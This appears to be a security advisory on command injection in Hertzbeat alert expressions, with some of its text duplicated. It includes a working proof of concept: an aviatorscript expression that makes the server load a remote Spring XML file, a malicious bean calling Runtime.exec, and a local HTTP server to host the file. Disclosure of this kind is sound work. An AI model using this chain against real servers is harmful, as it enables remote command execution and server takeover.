Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions, a malicious user can use a crafted alert expression to execute any command on hertzbeat server.
docker run -d -p 1157:1157 --name hertzbeat tancloud/hertzbeat
use org.springframework.context.support.ClassPathXmlApplicationContext;new ClassPathXmlApplicationContext("http://host.docker.internal:9999/touch.xml")
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('touch /tmp/pwnned')}"/>
</bean>
</beans>
python3 -m http.server 9999
A malicious user who has access to alert define function can execute any command in hertzbeat instance.
Summary
Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions, a malicious user can use a crafted alert expression to execute any command on hertzbeat server.
PoC
touch.xml
:/tmp/pwnned
created in container, proving that the command is executed.Impact
A malicious user who has access to alert define function can execute any command in hertzbeat instance.